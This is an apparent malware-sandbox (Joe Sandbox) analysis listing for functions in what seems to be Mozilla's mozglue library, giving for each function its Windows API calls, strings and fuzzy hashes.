Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 33468bac1b7514cb4f5a643a888b86f8c67de4f6b023000ef00606f19ac7c165
Instruction ID: ae2d65971eccd17b55a861f867e3a7f3383b642317c9b2e2e44136f856ecc815
Opcode Fuzzy Hash: 33468bac1b7514cb4f5a643a888b86f8c67de4f6b023000ef00606f19ac7c165
Instruction Fuzzy Hash: E4A136B1A063099FDF00CF69C4907AEBBF5AF59318F58845ED885ABB41C731E845CBA1

Function 6C98F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C98F480

Part of subcall function 6C95F100: LoadLibraryW.KERNEL32(shell32,?,6C9CD020), ref: 6C95F122
Part of subcall function 6C95F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C95F132

CloseHandle.KERNEL32(00000000), ref: 6C98F555

Part of subcall function 6C9614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C961248,6C961248,?), ref: 6C9614C9
Part of subcall function 6C9614B0: memcpy.VCRUNTIME140(?,6C961248,00000000,?,6C961248,?), ref: 6C9614EF

Part of subcall function 6C95EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C95EEE3

CreateFileW.KERNEL32 ref: 6C98F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C98F523

Strings

\oleacc.dll, xrefs: 6C98F4CB

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: d518d01f0ca43661939582b4f88c497fc29ee32d89852733bd1881840c03363d
Instruction ID: 0ac2ddd907ca895738686994e4bbb0b9dbe59f323118e3fff43de7bcabe9210d
Opcode Fuzzy Hash: d518d01f0ca43661939582b4f88c497fc29ee32d89852733bd1881840c03363d
Instruction Fuzzy Hash: AF41A2306097119FE720DF69D884AAAB7F4AF55318F501E1CF59193690EB30E989CB92

Function 6C9B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C9B7526
__Init_thread_footer.LIBCMT ref: 6C9B7566
__Init_thread_footer.LIBCMT ref: 6C9B7597

Strings

UnmapViewOfFile2, xrefs: 6C9B7552
kernel32.dll, xrefs: 6C9B7557

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 23557f1d40be708f6bbc2a2792f37a9c9aaed32311ae154127c9057c78e59403
Instruction ID: 1df685725a88da7efbf8f0a152a9759a783a643af78f7bd8d018545e3b842531
Opcode Fuzzy Hash: 23557f1d40be708f6bbc2a2792f37a9c9aaed32311ae154127c9057c78e59403
Instruction Fuzzy Hash: C5210631705901B7CB148BE88815EDA73B6EB97B29B158629D40177B80CB31FA4585B1

Function 6C9BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DF770,-00000001,?,6C9CE330,?,6C97BDF7), ref: 6C9BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C97BDF7), ref: 6C9BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C97BDF7), ref: 6C9BA7E4
LeaveCriticalSection.KERNEL32(6C9DF770), ref: 6C9BA80A

Strings

accelerator.dll, xrefs: 6C9BA7BF

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: ba91293ecb05d7c24d36abeef0107773f84bab4f44c617514d488f4734f6b4d5
Instruction ID: da276d4acd9729df64fabebca267984064de832ef571fb0321f01453ca5f3ecf
Opcode Fuzzy Hash: ba91293ecb05d7c24d36abeef0107773f84bab4f44c617514d488f4734f6b4d5
Instruction Fuzzy Hash: 38018FB0608604AFDB04DF55D8C5C5277B8FB89B59715806AE809EB741DB70E800CBA1

Function 6C95F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C95EE51,?), ref: 6C95F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C95F0C2

Strings

ole32, xrefs: 6C95F0AD
Could not find CoTaskMemFree, xrefs: 6C95F0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C95F0DC

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 4b75fef05408374ca99fac264195139c11a3a77d7403fc1ba8592179dcadbaf8
Instruction ID: 6819c9be832eed6dc8d85ec8aa52ad2e586d394a04d03ddbb0110f4c2f98bedb
Opcode Fuzzy Hash: 4b75fef05408374ca99fac264195139c11a3a77d7403fc1ba8592179dcadbaf8
Instruction Fuzzy Hash: 79E0D872348B06DBEF049B72980962737BC5B6322D368C429F602F2E40EE21F020C661

Function 6C990080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C967204), ref: 6C990088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9900A7
FreeLibrary.KERNEL32(?,6C967204), ref: 6C9900BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C9900A1
wintrust.dll, xrefs: 6C990083

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 55225c4d0e2523e96eecc38002d6bebc24c59a197e5e7a85dcea9ce664e9ddae
Instruction ID: d20e3e39dbff9f72cfa1bae2feb4fb00dd4a293afe26231eb3821f57ad67d7e0
Opcode Fuzzy Hash: 55225c4d0e2523e96eecc38002d6bebc24c59a197e5e7a85dcea9ce664e9ddae
Instruction Fuzzy Hash: BEE09A78648B45ABDF00AF6598097017AF8AB0B749F288465A926E2650DB74F0C0DF62

Function 6C9900D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C967235), ref: 6C9900D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9900F7
FreeLibrary.KERNEL32(?,6C967235), ref: 6C99010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9900F1
wintrust.dll, xrefs: 6C9900D3

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: e40693f4fa2832d51e5d9d63547323e5665aebf4246078aeb5eecd231ea008e3
Instruction ID: a18ac8204e8f5146c85344b5b34ff8ae283b667bb3cd655677d721eba4ac65be
Opcode Fuzzy Hash: e40693f4fa2832d51e5d9d63547323e5665aebf4246078aeb5eecd231ea008e3
Instruction Fuzzy Hash: 9DE04F7024DB069BEF005F65C90A7213AFCA707249F349065AA5BB2700DB70F1D0CB62

Function 6C9BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9BC0E9), ref: 6C9BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C9BC437
FreeLibrary.KERNEL32(?,6C9BC0E9), ref: 6C9BC44C

Strings

NtQueryVirtualMemory, xrefs: 6C9BC431
ntdll.dll, xrefs: 6C9BC413

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 75447116e7f84d1ba79c2c520b1632e2762e3c57e17d798dad06c88f4c80e2b4
Instruction ID: 26514dfef8388c21d50cdb00729a29e21d8465bd9fc3025292338e675392cd70
Opcode Fuzzy Hash: 75447116e7f84d1ba79c2c520b1632e2762e3c57e17d798dad06c88f4c80e2b4
Instruction Fuzzy Hash: B2E0B678609B02ABDF00BF71C9197127BF8A74664DF244556AA06B2750EBB0F1C0CBA2

Function 6C9B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9B748B,?), ref: 6C9B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9B75D7
FreeLibrary.KERNEL32(?,6C9B748B,?), ref: 6C9B75EC

Strings

ntdll.dll, xrefs: 6C9B75B3
RtlNtStatusToDosError, xrefs: 6C9B75D1

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: eb2c4b00dbded57a71e5562010aad004f3ad21e1dd7e22e8143ede82e691d04b
Instruction ID: 40df59ded1a13b81030f65468bd256df80f8dbf679591a478ff7ba88c2647446
Opcode Fuzzy Hash: eb2c4b00dbded57a71e5562010aad004f3ad21e1dd7e22e8143ede82e691d04b
Instruction Fuzzy Hash: 10E0BF71608B02BBDF005FE1C9497827AF8E74665DF309525A915F6640DBB0F2C5CF60

Function 6C9B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9B7592), ref: 6C9B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C9B7627
FreeLibrary.KERNEL32(?,6C9B7592), ref: 6C9B763C

Strings

ntdll.dll, xrefs: 6C9B7603
NtUnmapViewOfSection, xrefs: 6C9B7621

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: a3c78e7a0c4b1b37242d1c006560e891df1f3268808147cad3daf989c851b670
Instruction ID: 08fa2da5de14ba76223e689c1432a0da4e80ddd1b354ecd020877e9e2c025a77
Opcode Fuzzy Hash: a3c78e7a0c4b1b37242d1c006560e891df1f3268808147cad3daf989c851b670
Instruction Fuzzy Hash: EEE0BF70609F42ABDF005FE5D8097467AB8E75679DF208519E905F2740EB70F0848F65

Function 6C9BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C9BBE49), ref: 6C9BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C9BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C9BBE49), ref: 6C9BBF38
RtlReAllocateHeap.NTDLL ref: 6C9BBF83
RtlFreeHeap.NTDLL ref: 6C9BBFA6

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: fac1ea168fb539be759c728daa2a1a4bc70a7676fafcdf65d9227617447c575e
Instruction ID: d2fb92434c0f73e8a4868eef144d7f2d3d94a70513ed11d55859f9e572d3dbfc
Opcode Fuzzy Hash: fac1ea168fb539be759c728daa2a1a4bc70a7676fafcdf65d9227617447c575e
Instruction Fuzzy Hash: CA51AC71A002029FE710DF69CCC0BABB7B6FF98314F284629D515A7B94D730F9168B81

Function 6C9A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8EBF
free.MOZGLUE(?,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8F46
free.MOZGLUE(?,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F8F

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e8af636b1f715f565ab26f8f3cd5aca5fcbabb8113d16e624d1802aa8c90361c
Instruction ID: e012b4b48f6f09e852f1ae7b25b2bc6b4bff92b210284a541196042c4a149aac
Opcode Fuzzy Hash: e8af636b1f715f565ab26f8f3cd5aca5fcbabb8113d16e624d1802aa8c90361c
Instruction Fuzzy Hash: D351C2B1A012568FEB18CF94D88076EB7B6FF48308F25052AD916AB740E731F916CBD5

Function 6C9660E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9660F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C966180
free.MOZGLUE(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C966211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C966229
free.MOZGLUE(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C96625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C966271

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 832bf1bbfc584e310abbd1fb11c1dee486a33933e62c530667f339d1a8a11485
Instruction ID: 277197432b3d2e20d07a38f459979d41e6299bfee315dc1d55d38f0b1b2d5919
Opcode Fuzzy Hash: 832bf1bbfc584e310abbd1fb11c1dee486a33933e62c530667f339d1a8a11485
Instruction Fuzzy Hash: 48518AB1A042068FFB14CFA9D8807AEB7B5EF45308F210539C616E7B91E731EA58CB51

Function 6C9A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A289A
free.MOZGLUE(?,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A2910
free.MOZGLUE(00000001,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A294E

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8dc565d372aa64bcd6f66d2e12182e9c5d3c42fea9bb05fb19ae70bb24775fb6
Instruction ID: 3b03178faf194123a2c98558c508a7d653ffab896ad1c099d497d1e6d20be9f3
Opcode Fuzzy Hash: 8dc565d372aa64bcd6f66d2e12182e9c5d3c42fea9bb05fb19ae70bb24775fb6
Instruction Fuzzy Hash: 494115B1A04A068FEB14CFA9D98436A73F5EF85708F240539D95AEB740E731E905CB51

Function 6C95CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C95D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C95D139

Strings

MOZ_CRASH(), xrefs: 6C95D187

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: e85a125eca344988a789748d39649748eb56f54624cf086519c45077b0b5a3a6
Instruction ID: 778ac0424efc2c184f9cf4d152fd8beb73a8cb29c4d2ddf13372aeb212a43488
Opcode Fuzzy Hash: e85a125eca344988a789748d39649748eb56f54624cf086519c45077b0b5a3a6
Instruction Fuzzy Hash: 6A41D132B05A168FDB48CE7C8D9036AB6B4EB49B14F650139E918F7784D7A1AD808BD1

Function 6C954DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C954EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C954F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C954F1E

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: bb14178c740c82bfc4c468047a3b685c75b069f3137399ea0622dc03361bfba7
Instruction ID: b1df8f9db74fa726fa3717e1108051fe95a492a82b2905c21d5392e83629f895
Opcode Fuzzy Hash: bb14178c740c82bfc4c468047a3b685c75b069f3137399ea0622dc03361bfba7
Instruction Fuzzy Hash: 7641DE716087019FC745CF29C88095BBBE8BF99344F508A2DF86697B41DB31E978CB92

Function 6C961530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C96159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C9615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C9615E7
free.MOZGLUE(?,?,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C961606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C961637

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
